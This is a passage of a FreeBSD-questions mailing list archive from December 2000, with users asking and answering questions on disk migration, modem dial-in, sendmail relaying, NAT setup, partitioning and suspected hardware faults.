etc.  I had to mind partitions' names to map 1:1 from the old ones.

2. I used tar to copy the files from the old partitions, and then
untarred them into the new disk
tar cvfpl / root.tar
cd /mnt/root; tar xvfps root.tar
For /var, /tmp, and /home I did this in single-user mode.

3. Powered off, removed the bad disk, put the new one instead of it,
and booted.

It all worked flawlessly, and the only downtime was to hook the new
disk up, and then to remove the old one.
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Hi everyone !

I am running FreeBSD 4.1-release in my PII-300 and I enjoy it a lot !!
I'm a newbie. I am trying to learn something about Unix security and because of
that I installed the program 'sniff'. But when I am in my windowmaker session
and I try to run the program (sniff) the system tells me:
"program not found"
When I do:
# whereis sniff
the system answers me:
"/usr/local/man/man1/sniff.1.gz  /usr/ports/security/sniff"
but I can find it in:
"/usr/local/sbin/sniff"
And if I try to run it with the full name (/usr/local/sbin/sniff) it works fine.
The PATH in my .profile (root's)  have de directory ... : /usr/local/sbin : ...
When I am not running X there is no problem and I can start de sniff program
simply doing "sniff".

Why is this happening ?
Can somebody help me with this please ?


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On Fri, 22 Dec 2000, John Skibicki III wrote:

> I'm still a newbie @ BSD! I was wondering, I know in micro$ofts 
> implementation of TCP/IP they have a thing called a TCP recieving and 
> sending window. When I got my Cable modem I was getting real bad speeds 
> because my dial up software changed my recieve window to a smaller size. 
> Thus changing the recieve window bigger I got the speeds I should have. Was 
> wondering if BSD has a simmilar setting some where?
> if so how can it be adjusted? Thanks John!

Of course. There are several window size sysctl(8)s. The two you need are
net.inet.tcp.sendspace and net.inet.tcp.recvspace.

Use "sysctl -w net.inet.tcp.sendspace=value" to change them. Read
sysctl.conf(5) if you want them set at boot time.

G

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            train, comin' your way."

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> 
> 
> Date: Fri, 22 Dec 2000 12:44:22 -0500 (EST)
> From: "H. Jared Agnew" <hjagnew@mba1.mba-consulting.com>
> Subject: dial in question REVISED
> 
>   I'm so sorry to re send this question but I figured it would save maybe
>   one or two people the time of replying.  In the original e-mail I included
>   the incorrect gettytab and ttys file.  Thanks again for any help.
> 
>   Setup :
> 
>           FreeBSD          -- 4.2 Stable 12/21/00 i386
>           /dev/ttyd0       -- SB Modem Blaster 56K II
>           /dev/ttyd1       -- SB Modem Blaster 56K II
>           /dev/gettytab    -- included
>           /dev/ttys        -- included
> 
>   Problem :
> 
>           I'm using `ppp` on /dev/cuaa1 (/dev/ttyd1) to dial in to 
>           /dev/ttyd0.  ttyd0 picks up and talks with ttyd1, and seems
>           to establish a connection.  ttyd0 tells ttyd1 that it has connected
>           at what ever speed ttyd1 asks for (ie "CONNECT 9600").  When
>           I use `watch` to look at what is going on with ttyd0, it shows
>           the usual login prompt.  However on ttyd1 all I see is the "CONNECT"
>           message and then garbage.  When I type anything in `ppp` (ttyd1)
>           it shows up as garbage on both the `watch` of ttyd0 and in `ppp`
>           of ttyd1, but it is not the same garbage.  The modems are identical
>           and have identical register settings save for the answer register.
>           Thanks for any help you might give.
> 
[...]


I think the "CONNECT 9600" you are seeing is the 
modem connected to ttyd1 reporting the serial port 
speed at which it is connected, which is of course 
the speed of ttyd1, not ttyd0.  Some modems by 
default report their serial port speed, not their 
carrier speed.


> # $FreeBSD: src/etc/etc.i386/ttys,v 1.8 2000/01/29 12:18:03 obrien Exp $
> #       @(#)ttys        5.1 (Berkeley) 4/17/89
> #
> # This file specifies various information about terminals on the system.
> # It is used by several different programs.  Common entries for the
> # various columns include:
> #
> # name  The name of the terminal device.
> #
> # getty The program to start running on the terminal.  Typically a
> #       getty program, as the name implies.  Other common entries
> #       include none, when no getty is needed, and xdm, to start the
> #       X Window System.
> #
> # type The initial terminal type for this port.  For hardwired
> #      terminal lines, this will contain the type of terminal used.
> #      For virtual consoles, the correct type is cons25.  Other
> #      common values include network for network connections on
> #      pseudo-terminals, dialup for incoming modem ports, and unknown
> #      when the terminal type cannot be predetermined.
> #
> # status Must be on or off.  If on, init will run the getty program on
> #        the specified port.  If the word "secure" appears, this tty
> #        allows root login.
> #
> # name  getty                           type    status          comments
> #
> # If console is marked "insecure", then init will ask for the root password
> # when going to single-user mode.
> console none                            unknown off secure
> #
> ttyv0   "/usr/libexec/getty Pc"         cons25  on  secure
> # Virtual terminals
> ttyv1   "/usr/libexec/getty Pc"         cons25  on  secure
> ttyv2   "/usr/libexec/getty Pc"         cons25  on  secure
> ttyv3   "/usr/libexec/getty Pc"         cons25  on  secure
> ttyv4   "/usr/libexec/getty Pc"         cons25  on  secure
> ttyv5   "/usr/libexec/getty Pc"         cons25  on  secure
> ttyv6   "/usr/libexec/getty Pc"         cons25  on  secure
> ttyv7   "/usr/libexec/getty Pc"         cons25  on  secure
> ttyv8   "/usr/X11R6/bin/xdm -nodaemon"  xterm   off secure
> # Serial terminals
> # The 'dialup' keyword identifies dialin lines to login, fingerd etc.
> ttyd0   "/usr/libexec/getty VH57600"    dialup  on
> #ttyd0  "/usr/libexec/getty std.9600"   dialup  off secure
> ttyd1   "/usr/libexec/getty std.9600"   dialup  off secure
> ttyd2   "/usr/libexec/getty std.9600"   dialup  off secure
> ttyd3   "/usr/libexec/getty std.9600"   dialup  off secure
> # Pseudo terminals
> ttyp0   none                    network
[...etc.]

Your ttyd0 and ttyd1 are set to different speeds.  I 
think this would work if they were both set to speeds 
as fast as or faster than the modem carrier speed (56K), 
but I suspect that in this case one of the modems is 
becoming confused about what speed it should be using, 
i.e. sending data at one speed but expecting to receive 
it at another. 

Try setting both serial ports to the same speed and 
see what happens.  I'd use 115200 to take advantage 
of whatever compression the modems can accomplish.

If you are using ppp, you may also need to pay 
attention to the speed set in /etc/ppp/ppp.conf.


- Bob


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Hi,

I would like to name my machine, but it is a laptop with only a dialup
connection, and I do not own a domain name.  Can I use a name that will
only apply to my local machine but will not confuse the nameservers or
connections to the outside world?

I would like to be something other than 'localhost.localdomain'

Jonathon
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	Ok, I've seen this recommendation a lot now.  Is this because the
ffs filesystem is so much more robust now than it was?  Because reading
through the 4.4BSD SMM it strongly recommends different partitions to
guard against problems in one filesystem taking out the whole system.
As a home user, downtime really doesn't matter to me.  I make backups and
if I had to reinstall due to filesystem corruption, I would be fine.  But
I like to understand the security and reliability implications of what I
do.  So I take it separate filesystems are not as necessary as they
once were?  Thanks,

						Tim

On Fri, 22 Dec 2000, James Raftery wrote:

> ----- Original Message -----
> From: "Peter Brock" <peer@interquad.net>
> To: "FreeBSD-Questions" <freebsd-questions@freebsd.org>
> Sent: Friday, December 22, 2000 3:34 AM
> Subject: Root Partitions
> 
> 
> > Alright i wanna spark a debate.. Can someone tell me why it is
> recomended to
> > devided your hd into seperate slices for / /usr and /var? Why not put
> > everything on a single partition and be done with it? I have a few
> setups
> > with just a root partition and everything is working great.
> 
> For the average home user I would suggest using a single slice for / and
> be done with it. It's less hassle, more flexible and not likely to cause
> any problems.
> But for a busy/important machine compartmentalising limits the scope of
> any filesystem issues to bring down to whole machine, for the reasons
> given by the others in this thread.
> 
> 
> Regards,
> 
> james
> 
> 
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Howdy,

Over the last couple of days I have been seeing some strange things
with my FreeBSD workstation, and was wondering if anyone could help
shed some light on it.

% uname -a
FreeBSD corrupt.network-alchemy.com 4.2-STABLE FreeBSD 4.2-STABLE #0:
Tue Nov 21 14:38:25 PST 2000
mruhl@corrupt.network-alchemy.com:/usr/obj/usr/src/sys/CORRUPT  i386

Here are the symptoms:

1) Random reboots.  There are no messages in /var/log/messages or
dmesg.  The machine just reboots.

2) xterms go away for no apperent reason (serveral times over the last
several days).  If there is a core file somewhere, I can't find it.

3) xmms goes away for no apperent reason (twice so far).

Up until this week, I have been pretty rock steady.

Could this be an indication of a hardware failure?

Thanks!

Mike
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On Fri, 22 Dec 2000, Mike Ruhl wrote:

> Here are the symptoms:
> 
> 1) Random reboots.  There are no messages in /var/log/messages or
> dmesg.  The machine just reboots.
> 
> 2) xterms go away for no apperent reason (serveral times over the last
> several days).  If there is a core file somewhere, I can't find it.
> 
> 3) xmms goes away for no apperent reason (twice so far).
> 
> Could this be an indication of a hardware failure?

Quite possibly. Check the logs for programs which caused a segmentation
fault; usual suspect is bad RAM. Try removing some of the RAM and seeing
if the problem persists.

G

"And then it comes to be that the soothing light
   at the end of your tunnel was just a freight
            train, comin' your way."

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Hello Jon-	

The IP address is what is really important to a system when getting on the
net. When you connect to your ISP via PPP, the ISP assigns you a IP number.
A good ISP will have a reverse lookup on that number assigned as well
(normally something cryptic like ppp-dynamic004.domain.com).The IP address
that is assigned to your PPP interface is what is used to communicate. The
name of your machine stays local. Just be careful to not start using that
for return emails, etc...they won't work.

To actually change your name. Edit the rc.conf file in /etc   and change the
line which says:
	hostname="localhost" to be   hostname="WHATEVER.WHATEVER.COM"

You may also want to add the name to the /etc/hosts file so you can talk to
yourself via name.

Henrik
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Hi,

I would like to name my machine, but it is a laptop with only a dialup
connection, and I do not own a domain name.  Can I use a name that will
only apply to my local machine but will not confuse the nameservers or
connections to the outside world?

I would like to be something other than 'localhost.localdomain'

Jonathon
-- 
"The spice must flow...."


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Hi

In Your 14 june 1999 press release You state that "SCO will license its
System Activity Reporter (SAR) source code to the open source community
in cooperation with Starnix, Inc., the first maintainers of the code."

I'm interested where and when can open source community (including me)
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The evidence suggests that "Hudson, Henrik H." wrote:

> Hey Jason-
>
> I would suggest reading up on virtusertable  in regards to the
actual
> mailboxes for incoming mail. As for the relaying, you need to add
either
> your IP or the name that your IP resolves too to the sendmail.cw
file (if
> sendmail 8.9 something) or the local-host-allow file if newer then
that.
>
> www.sendmail.org   has some pretty good docs on this and I would
prefer not
> to rewrite them in this email :)
>
> I have never used a sendmail from the ports, so I don't know the
"defaults"
> that they have setup or anything, so I won't be of much help there.
>
> Henrik
> ---
> Henrik Hudson
>
>
> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG
> [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Jason
Halbert
> Sent: Friday, December 22, 2000 10:02
> To: questions@FreeBSD.org
> Subject: Mail Servers
>
>
> Okay.. I feel stupid..
>
> I'm trying to setup POP and SMTP internet mail servers on my box.  I
> have a domain (jason-n3xt.org).  On my box I have popper set to run
> for POP and sendmail for SMTP.
>
> On my laptop I can setup Outlook Express for my POP server and it
> connects and checks mail fine.
>
> I can't seem to figure out how to setup sendmail to work for
internet
> mail.  I think it has something to do with aliases, but I don't
know.
> Here is the error message from Outlook Express:
>
> The message could not be sent because one of the recipients was
> rejected by the server. The rejected e-mail address was
> 'res02jw5@gte.net'. Subject 'test', Account: 'jason-n3xt.org',
Server:
> 'jason-n3xt.org', Protocol: SMTP, Server Response: '550 5.7.1
> <res02jw5@gte.net>... Relaying denied', Port: 25, Secure(SSL): No,
> Server Error: 550, Error Number: 0x800CCC79
>
> On the server I get:
>
> jason-n3xt sendmail[226]: eBMFVUt00226: ruleset=check_rcpt, arg1=<
> res02jw5@gte.net >, relay=crtntx1-ar3-098-023.dsl.gtei.net
> [4.33.98.23], reject=550 5.7.1 < res02jw5@gte.net>... Relaying
denied
> jason-n3xt sendmail[229]: eBMFVgt00229: SYSERR(root): hash map
> "Alias0": missing map file /etc/mail/aliases.db: No such file or
> directory
>
> I've read man sendmail but I didn't learn much...
>
> I also have a problem with incoming mail being to the server.  Again
I
> think I'm missing something in the setup.  My isp's mail server
> returns the error:
>
>    ----- Transcript of session follows -----
> ... while talking to jason-n3xt.org.:
> >>> RCPT To:<jason@jason-n3xt.org>
> <<< 550 5.1.1 <jason@jason-n3xt.org>... User unknown
> 550 <jason@jason-n3xt.org>... User unknown
>
> I'm not even really sure where to start there...
>
> I know it's a lot but if anyone can help I will be eternally
greatful.
> =)
>

No I don't think that is correct for sendmail.  I need it to forward
all mail it recieves from any host to any host.

I am using the latest version of sendmail and apperently there is some
FEATURE you have to add so that it relay's without discrimisation.
I've read lots of stuff on sendmail.org and I can't figure out where
it's talking about that I have to add the stuff I need to.

So I'm still lost (if not more so then when I started).

My POP server is working now though, so that's good.

---
-------------------------------------------------------
| Jason P. Halbert                 | res02jw5@gte.net |
| Transmitter Maintenance Engineer | DALnet: Push^Pop |
| KC5WEG                           | ICQ#: 86637300   |
| KDAF-TV WB 33                    | (214) 252-3300   |
| KDTX-TV 58                       | (972) 399-0058   |
-------------------------------------------------------
|         Fortune favors the well prepared.           |
|               http://jason-n3xt.org                 |
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We have Apache 3.0.12 c/w php 1.3.9 installed on our web server. There
is a apache+fp port in the www ports folder, but I assume this would
replace our existing apache configuration.

I visited Microsoft's FPE website (and survived) and read the blurb on
what to download and how to install the FPE using their install script
and install file.

What are the implications of doing it the Microslothful way? Will I be
unemployed after doing it :)? Yes, I have a backup. I could not find
any reference to a fp-module on the freebsd.org site other than the
port descibed above.

: 

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On Fri, 22 Dec 2000, Murray wrote:

> We have Apache 3.0.12 c/w php 1.3.9 installed on our web server. There
> is a apache+fp port in the www ports folder, but I assume this would
> replace our existing apache configuration.

 I just did this, but it was on a new replacement server.

 I took advantage of http://www.apachetoolbox.com

 Downloaded the stuff from microsuckie, untar'd in /usr/local and let the
script from apachetoolbox do the rest of the work for me.

-Gerry



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In my experience things like that (if not being caused by some type of
corrupt software) are usually caused by failing CPU's or memory.

Have you made any changes to either your kernel or the other pieces of
software that are being affected?

One good way to check your memory might be to try compiling a kernel, if you
get errors doing that (especially like signal 11-SIGSEV) than you probably
have a memory issue.  Try swappin sticks around to isolate the bad DIMM or
swap in new memory.

Gene Dinkey

TCD - PA-RISC based workstations


> -----Original Message-----
> From: Mike Ruhl [mailto:mruhl@network-alchemy.com]
> Sent: Friday, December 22, 2000 1:13 PM
> To: freebsd-questions@freebsd.org
> Subject: randomness
> 
> 
> Howdy,
> 
> Over the last couple of days I have been seeing some strange things
> with my FreeBSD workstation, and was wondering if anyone could help
> shed some light on it.
> 
> % uname -a
> FreeBSD corrupt.network-alchemy.com 4.2-STABLE FreeBSD 4.2-STABLE #0:
> Tue Nov 21 14:38:25 PST 2000
> mruhl@corrupt.network-alchemy.com:/usr/obj/usr/src/sys/CORRUPT  i386
> 
> Here are the symptoms:
> 
> 1) Random reboots.  There are no messages in /var/log/messages or
> dmesg.  The machine just reboots.
> 
> 2) xterms go away for no apperent reason (serveral times over the last
> several days).  If there is a core file somewhere, I can't find it.
> 
> 3) xmms goes away for no apperent reason (twice so far).
> 
> Up until this week, I have been pretty rock steady.
> 
> Could this be an indication of a hardware failure?
> 
> Thanks!
> 
> Mike
> 


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On Fri, 22 Dec 2000, Dennis Turpitka wrote:

> Date: Fri, 22 Dec 2000 19:35:19 +0300
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> To: George Reid <greid@dogma.freebsd-uk.eu.org>
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> Hello George,
> 
> Friday, December 22, 2000, 8:35:36 PM, you wrote:
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> GR> Can you please stop trying to subscribe the FreeBSD-questions list to the
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> It is majordomo's bug. I just informed postmaster about it.
> Majordomo in some strange reasons looked in my Reply-to field and
> subscribed in.

Majordomo acts normal, but you have:

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On Fri, 22 Dec 2000, Dennis Turpitka wrote:
> Hello George,
> 
> Friday, December 22, 2000, 8:35:36 PM, you wrote:
> 
> GR> Hi,
> GR> Can you please stop trying to subscribe the FreeBSD-questions list to the
> GR> other mailing lists?
> It is majordomo's bug. I just informed postmaster about it.
> Majordomo in some strange reasons looked in my Reply-to field and
> subscribed in.
> I am sorry.

	Yes well why in the world would you have that as your reply to
anyway?  If we want to reply to the whole list we can choose to do so.
I was sent majordomo messages for at least 6 mailing lists, and repeats
for some of them.
	Does anybody know how the auth messages were sent back though?  I
was also sent confirmation of subscription for four of the lists and I
sent out no such messages.

							Tim

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Quick question... when you cvsup using ports-all in the supfile does it
update every port or does it just update those that have been changed or
update for security fixes and what not? I have setup cvsup to run at 3am
daily but i see only a few ports are actually edited/updated.

drwxr-xr-x    2 root  wheel   512 Dec 20 05:06 webresolve
drwxr-xr-x    3 root  wheel   512 Oct  8 18:31 webstone
drwxr-xr-x    3 root  wheel   512 Dec 19 00:16 webstone-ssl
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drwxr-xr-x    2 root  wheel   512 Oct  8 07:42 wmnetselect
drwxr-xr-x    4 root  wheel   512 Oct  8 07:42 wn

Thanks,

Ryan Masse
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Mark Rowlands <mark.rowlands@minmail.net> types:
> On Thursday 21 December 2000 19:51, Stuart Morse wrote:
> > Hi All,
> > I will be developing a Java servlet application that will run under
> > FreeBSD, and I would like to use Borland JBuilder to achieve this.
> > We own a Win32 version of JBuilder, so the programming itself will
> > occur on a Win32 PC. It would be nice to be able to generate my object
> > code directly to the FreeBSD machine using a shared disk. Does
> > FreeBSD support NETBUI, or should I use NFS? What are some of the
> > pros and cons?
> >
> samba ....is an smb (cifs) server for unix)
> pros	free and it works
> cons	none that I am aware of
> NFS
> You will need to run a client on your pc
> pros	none that I am aware of
> cons	You will need to run a client on your pc

The security implications make me prefer NFS:

SMB clients are provided with every Windows box, so every script
kiddie has the software to access your server if they get through your
security. Also, many smb servers are vulnerable to being sent OOB
data, which crashed every release of Win95 I tested it on, as well as
samba running on non-protected OS's (though the versions I checked
were of the ~96/97 vintage).

NFS is also notoriously insecure, but the script kiddies have to get
it from somewhere other than a windows install disk. Recent versions
will run over TCP to provide better security, but I haven't
investigated why/how.

I recommend not running either one where someone you don't trust can
get to your wire.

	<mike
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Arcady Genkin <antipode@thpoon.com> types:
> I've had a harddrive failure on a computer running 4.2-S.  A test
> program from the manufacturer (it's an IBM DeskStar 13G), found bad
> blocks.
> 
> It's a root disk for my FreeBSD installation, and it freezes once in a
> while, reporting write failures to console.  I have a spare disk, wich
> is a 6.4G.  This is more than enough to back up the data from the 13G
> one, but if I understand correctly, I can't use dump for that, since
> all the partitions are not going to fit in.
> 
> Would anyone be so kind as to tell me how I can create a working copy
> of my current installation?  I would like to save all data from /,
> /var, /usr and /home.  I think I can just partition the disk using
> /stand/sysinstall and cp -Rp the files to it.  But how would I make it
> bootable?  And also, would cp -Rp work on kernel files and /boot
> directory?

Check the faq, in particular the entry titled "How do I move my system
over to my huge new disk?" at <URL:
http://www.freebsd.org/FAQ/admin.html#dmin.html#NEW-HUGE-DISK >

	<mike

> I'm under a bit of a pressure, since I have to babysit the system
> (because it hangs once every hour).  Although any kind of hints are
> very welcome, I'd really appreciate something other than a RTFM
> response. ;^)  I'll RTFM later, I promiss.
> 
> The failed drive is ad0; drive ad3 is a clean 6.4 drive, which I want
> to use as a replacement for ad0 while it is being exchanged.
> 
> ,----[ df -h ]
> | Filesystem    Size   Used  Avail Capacity  Mounted on
> | /dev/ad0s1a   194M    31M   148M    17%    /
> | /dev/ad0s1g   2.8G   8.5M   2.6G     0%    /home
> | /dev/ad0s1e   194M   966K   177M     1%    /tmp
> | /dev/ad0s1h   8.5G   1.1G   6.7G    14%    /usr
> | /dev/ad0s1f   388M   6.2M   350M     2%    /var
> `----
> 
> ,----[ dmesg ]
> | ad0: 13042MB <IBM-DPTA-371360> [26500/16/63] at ata0-master UDMA33
> | ad2: 18366MB <QUANTUM BIGFOOT TS19.2A> [37317/16/63] at ata1-master UDMA33
> | ad3: 6149MB <QUANTUM FIREBALL EX6.4A> [13328/15/63] at ata1-slave UDMA33
> `----
> 
> Many thanks in advance,
> - -- 
> Arcady Genkin
> Don't read everything you believe.
> 
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Ryan Masse wrote:
> 
> Quick question... when you cvsup using ports-all in the supfile does it
> update every port or does it just update those that have been changed or
> update for security fixes and what not? I have setup cvsup to run at 3am
> daily but i see only a few ports are actually edited/updated.
> 
> drwxr-xr-x    2 root  wheel   512 Dec 20 05:06 webresolve
> drwxr-xr-x    3 root  wheel   512 Oct  8 18:31 webstone
> drwxr-xr-x    3 root  wheel   512 Dec 19 00:16 webstone-ssl
> drwxr-xr-x    2 root  wheel   512 Nov  3 18:50 wml
> drwxr-xr-x    2 root  wheel   512 Oct  8 07:42 wmnetselect
> drwxr-xr-x    4 root  wheel   512 Oct  8 07:42 wn

All it does is update the structure associated with the port. It
doesn't download new source and build and install it. That you have to
do. The cvsup does provide you with a mechanism to detect it with the
pkg_version -c or one of the other options. The output of pkg_version
is handy because it provides you with the directory that you have to
cd to in order to upgrade the port.

Kent

> 
> Thanks,
> 
> Ryan Masse
> IT / Authoring Tech
> Mastery Group of Canada Inc.
> Rmasse@mastery.ca
> http://www.masterycanada.com
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From any host to any host? That is a BAD idea, unless of course you like
SPAM. That basically let's you be a relay for anybody and SPAMMERS WILL find
your server.

There IS an option in the sendmail.mc file which will allow you to do
relaying without discrimination. Read up on the mc files and rebuild your
sendmail.cf . I still recommend against this though.


---
Henrik Hudson

-----Original Message-----
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The evidence suggests that "Hudson, Henrik H." wrote:

> Hey Jason-
>
> I would suggest reading up on virtusertable  in regards to the
actual
> mailboxes for incoming mail. As for the relaying, you need to add
either
> your IP or the name that your IP resolves too to the sendmail.cw
file (if
> sendmail 8.9 something) or the local-host-allow file if newer then
that.
>
> www.sendmail.org   has some pretty good docs on this and I would
prefer not
> to rewrite them in this email :)
>
> I have never used a sendmail from the ports, so I don't know the
"defaults"
> that they have setup or anything, so I won't be of much help there.
>
> Henrik
> ---
> Henrik Hudson
>
>
> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG
> [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Jason
Halbert
> Sent: Friday, December 22, 2000 10:02
> To: questions@FreeBSD.org
> Subject: Mail Servers
>
>
> Okay.. I feel stupid..
>
> I'm trying to setup POP and SMTP internet mail servers on my box.  I
> have a domain (jason-n3xt.org).  On my box I have popper set to run
> for POP and sendmail for SMTP.
>
> On my laptop I can setup Outlook Express for my POP server and it
> connects and checks mail fine.
>
> I can't seem to figure out how to setup sendmail to work for
internet
> mail.  I think it has something to do with aliases, but I don't
know.
> Here is the error message from Outlook Express:
>
> The message could not be sent because one of the recipients was
> rejected by the server. The rejected e-mail address was
> 'res02jw5@gte.net'. Subject 'test', Account: 'jason-n3xt.org',
Server:
> 'jason-n3xt.org', Protocol: SMTP, Server Response: '550 5.7.1
> <res02jw5@gte.net>... Relaying denied', Port: 25, Secure(SSL): No,
> Server Error: 550, Error Number: 0x800CCC79
>
> On the server I get:
>
> jason-n3xt sendmail[226]: eBMFVUt00226: ruleset=check_rcpt, arg1=<
> res02jw5@gte.net >, relay=crtntx1-ar3-098-023.dsl.gtei.net
> [4.33.98.23], reject=550 5.7.1 < res02jw5@gte.net>... Relaying
denied
> jason-n3xt sendmail[229]: eBMFVgt00229: SYSERR(root): hash map
> "Alias0": missing map file /etc/mail/aliases.db: No such file or
> directory
>
> I've read man sendmail but I didn't learn much...
>
> I also have a problem with incoming mail being to the server.  Again
I
> think I'm missing something in the setup.  My isp's mail server
> returns the error:
>
>    ----- Transcript of session follows -----
> ... while talking to jason-n3xt.org.:
> >>> RCPT To:<jason@jason-n3xt.org>
> <<< 550 5.1.1 <jason@jason-n3xt.org>... User unknown
> 550 <jason@jason-n3xt.org>... User unknown
>
> I'm not even really sure where to start there...
>
> I know it's a lot but if anyone can help I will be eternally
greatful.
> =)
>

No I don't think that is correct for sendmail.  I need it to forward
all mail it recieves from any host to any host.

I am using the latest version of sendmail and apperently there is some
FEATURE you have to add so that it relay's without discrimisation.
I've read lots of stuff on sendmail.org and I can't figure out where
it's talking about that I have to add the stuff I need to.

So I'm still lost (if not more so then when I started).

My POP server is working now though, so that's good.

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Help!!!!

I'm trying to set up a home network using a BSD box as a server and a =
Windows box as a client.

Information on the web involving nat etc. is so contradictory and =
outdated I am getting nowhere.

I have connectivity between the boxes using Telnet, but I cannot get out =
to the internet with the client.

Using FreeBSD 4.1.1

BSD box:    ed0 is 24.aa.bb.cc    255.255.252.0 (NIC to the net using =
DHCP)
                  ed1 is 10.0.0.1         255.255.255.0 (internal =
network NIC)

Windows Box is 10.0.0.2 255.255.255.0

Is the any step by step SIMPLE instructions on where and how to =
configure the firewall, and NAT and such?

I'm not a complete freaking idiot, but I'm too new at this to cipher =
through what is outdated and what is accurate, and what is horsesh*t =
inacurately written by other amateurs.

thanx
J.R.

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<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I'm trying to set up a home network =
using a BSD box=20
as a server and a Windows box as a client.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Information on the web involving nat =
etc. is so=20
contradictory and outdated I am getting nowhere.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have connectivity between the boxes =
using Telnet,=20
but I cannot get out to the internet with the client.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Using FreeBSD 4.1.1</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>BSD box:&nbsp;&nbsp;&nbsp;&nbsp;ed0 is=20
24.aa.bb.cc&nbsp;&nbsp;&nbsp;&nbsp;255.255.252.0 (NIC to the net using=20
DHCP)<BR>&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =

&nbsp;&nbsp;&nbsp; ed1 is 10.0.0.1 &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =

255.255.255.0 (internal network NIC)</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Windows Box is 10.0.0.2 =
255.255.255.0</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Is the any step by step =
SIMPLE&nbsp;instructions on=20
where and how to configure the firewall, and NAT and such?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I'm not a complete freaking idiot, but =
I'm too new=20
at this to cipher through what is outdated and what is accurate, and =
what is=20
horsesh*t inacurately written by other amateurs.</FONT></DIV>
<DIV>&nbsp;</DIV>
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Dan Nelson <dnelson@emsphone.com> types:
> 3) To make sure that if /usr gets damaged, you've at least got a
> minimal system in /.  I may not be remembering this right, since it
> doesn't make much sense.  Modern disks have sector sparing and
> early-warning notification so you know when the media's going bad, and
> FFS had been stable for a long time.

No, that's exactly right. The key word is "modern systems". This rule
makes a lot more sense if you think about running BSD on a million
dollar vax with a couple of thousand userids, 100+ simultaneous users
and drives like ra82s - which for the first year or so were shipped
with an HDA that had glue that tended to flake off inside the drive,
thus pretty thoroughly destroying it with no warning whatsoever.

If you want an r/o root, /var can't be on it. If you want to share the
root file system, /var would be a good thing not to share. Some spools
can be shared, but I wouldn't bet on all of them.

/usr is another level of thing for sharing. Also, if you configure
things right, you can arrange it so that everything on /usr (except a
few config files) comes off the FreeBSD distribution disks, and thus
doesn't need to be backed up along with everything else.

Only the last of those things is liable to apply to a new user - and
possibly not even that. I'd recommend that new users set up two file
systems, one for everything from FreeBSD, and one for /home, so that
after they have more experience and a better idea of what they're
going to be doing, they can reinstall the OS without losing their
/home.

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If a make deinstall doesn't do it for me, I do pkg_delete -f
"portname".  The "-f" removes the dependencies to that particular port.
Works for me....

doug@safeport.com wrote:

> This may be a ports question but it is a "how to" so...
>
> >From the handbook:
>
>    4.2.2. Removing Installed Ports
>
>        # cd /usr/ports/..your port
>        # make deinstall
>
> I thought I had read somewhere to do, "make deinstall clean", and
> perhaps with "all". I did not do this but did:
>
>       # cd /usr/ports/x11/kde2
>       # make deinstall clean
>
> This did not remove the executables. I later did this with pkg_delete
> for each of the components. This was required as
>
>       pkg_delete kdebase-2.0.1
>
> did not remove the other kde components.
>
> So the question: what's the proper way? And, should that go in the
> handbook which, I guess, must deal with at least 3.x ways of doing
> things?
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Marty Leisner <leisner@rochester.rr.com> types:
> I probably would be a good idea to a have a "gnu" environment
> you can specify at account creation time, to default to the
> gnu tools (instead of the bsd ones).

It doesn't sound like a bad idea. It probably won't happen unless a
committer thinks it's a good idea, though. If you submit a PR with
patches that behave the way you want, you've just lowered the
threshold for that to happen, as well as making it much more likely to
be done the way *you* want it done.

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While trying to make buildworld i got the folloing:

cc -O -pipe -D_GNU_SOURCE -I- -I.
-I/usr/src/gnu/usr.bin/binutils/ld/i386 -I/usr
/src/gnu/usr.bin/binutils/ld -I/usr/src/gnu/usr.bin/
binutils/ld/../libbfd/i386
-I/usr/src/gnu/usr.bin/binutils/ld/../../../../contri
b/binutils/include -DDEFAULT_EMULATION=\"elf_i386\"
-DTARGET=\"i386-unknown-freebsdelf\"
-DSCRIPTDIR=\"/usr/obj/usr/src/i386/usr/lib
data\" -I/usr/src/gnu/usr.bin/binutils/ld/../../../.
./contrib/binutils/ld -DVERSION=\"2.10.1\" -DBFD_VERSION=\"2.10.1\"  
-I/usr/obj
/usr/src/i386/usr/include -c /usr/src/gnu/usr.bin/bi
nutils/ld/../../../../contrib/binutils/ld/ldver.c
/usr/libexec/ld-elf.so.1: cc: Shared object has no run-time symbol table
*** Error code 1
Stop in /usr/src/gnu/usr.bin/binutils/ld.
*** Error code 1
Stop in /usr/src/gnu/usr.bin/binutils.
*** Error code 1
Stop in /usr/src.
*** Error code 1
Stop in /usr/src.
*** Error code 1
Stop in /usr/src.
etosha#


Have anyone here already faced such errors ?
May some one explain what this kind of error means ?

After a reboot my box, the proccess of making buildworld performed
nicely. May this be caused by bad quality memory?

Any suggestions would be nice!


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Hi!

I have /etc/rc.conf file as under:

linux_enable="YES"
server="daemon"
gateway_enable"="YES"
sshd_enable="YES"
portmap_enable="YES"
nfs_client_enable="YES"
inetd_enable="YES"
network_interfaces="ep0 lo0"
pccard_ifconfig="DHCP"
ifconfig_ep0="DHCP"
hostname="cat.pdx.edu"
pccard_enable="YES"
pccard_flags=" -i 3 -i 6"
pccard_men="DEFAULT"

I have a problem with ping, I have the nameserver address (IP) in
/etc/resolv.conf.

Could someone tell me is there any problem with /etc/rc.conf and what is
the meaning of pccard_flags="-i 3 -i 6".

Urgent help is requested.

Thanks,

Harkirat 





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John,
I'm not trying to be rude and tell you to get lost and RTFM, but the
man page for natd says it all (if all you want is a gateway to the
internet for multiple machines. Just keep in mind that you're setting
natd to work on your OUTSIDE interface, not the LAN. Add a few lines
